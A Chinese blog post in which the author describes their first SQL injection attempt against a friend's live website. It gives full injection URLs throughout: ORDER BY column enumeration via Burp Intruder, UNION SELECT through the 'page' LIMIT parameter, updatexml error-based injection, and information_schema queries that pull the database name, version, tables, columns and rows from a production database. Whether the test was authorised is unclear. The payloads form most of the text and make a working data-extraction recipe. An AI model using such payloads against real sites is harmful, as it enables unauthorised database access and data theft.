第一次学习sql 注入
2025-09-21 04:45:42

朋友在微信朋友圈推广自己的网站,发现url是get 请求,被微信提醒有漏洞。最近刚好在学习sql注入知识然后就帮忙测试是否有漏洞

步骤

测试步骤

1.判断有无注入点

在vid参数后门输入’ 单引号字符串 有提示报错,说明网站有注入点

2.猜解列名数量

然后就开始使用order by 猜解

手动去猜测太麻烦,使用到burp suite 抓包 发送到Intruder

?type=2&page=0&vid=3645613684562139%20order%20by%20§6§

字段数应该不会超过30个 ,在payloads 设置1-30 每次递增1

点击start attack

然后分析跑出来的结果

当order by 1 数据能完全显示 ,以为就一个字段 用union 判断回显点发现又报错了

判断结果应该字段不是1个

接下来继续观察结果

发现 order by 15 和order by 16返回的错误不一样 大胆猜测 字段有可能是15个,使用 union select 还是继续报错

没办法只能继续尝试,发现有一个分页参数page,尝试去掉分页参数试试,这次发现了新的点 page 参数是控制sql语句 limit的,网页回显到了错误的sql语句

接下来那就好办了不用vid参数做注入点,接下来用page参数尝试一下 ,接着用上面判断字段数是15个然后用这个 page=0,1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15–+ 测试,出现回显点

接下来就是获取数据的一些信息了

尝试再在vid 参数上使用下报错注入看看 数据库名出来了

https://www.xxxx.com/index/mlist.php?vid=3645613684562139%20or%20updatexml(1,concat(0x7e,database()),0)&page=1

4.信息收集

https://www.xxxxx.com/index/mlist.php?vid=3645613684562139&type=1&page=0,1%20union%20select%201,2,3,database(),5,version(),7,8,9,10,11,12,13,14,15–+

获取到mysql 版本信息 数据库名

msyql 5.5.62-log

获取到数据库表名

https://www.xxxxxx.com/index/mlist.php?vid=3645613684562139&type=1&page=0,1%20union%20select%201,2,3,group_concat(table_name),5,version(),7,8,9,10,11,12,13,14,15%20from%20information_schema.tables%20where%20table_schema=database()–+

获取数据库表的列名 表名table_name要转成16进制

https://www.xxxxx.com/index/mlist.php?vid=3645613684562139&type=1&page=0,1%20union%20select%201,2,3,group_concat(column_name),5,version(),7,8,9,10,11,12,13,14,15%20from%20information_schema.columns%20where%20table_name=0x78795f64797a79%20and%20table_schema=database()–+

查询表中的数据 简单打印一下表中的id

https://www.xxxx.com/index/mlist.php?vid=3645613684562139&type=1&page=0,1%20union%20select%201,2,3,(select%20group_concat(id)%20from%20xy_dyzy),5,version(),7,8,9,10,11,12,13,14,15%20from%20information_schema.columns%20where%20table_name=0x78795f64797a79%20and%20table_schema=database()–+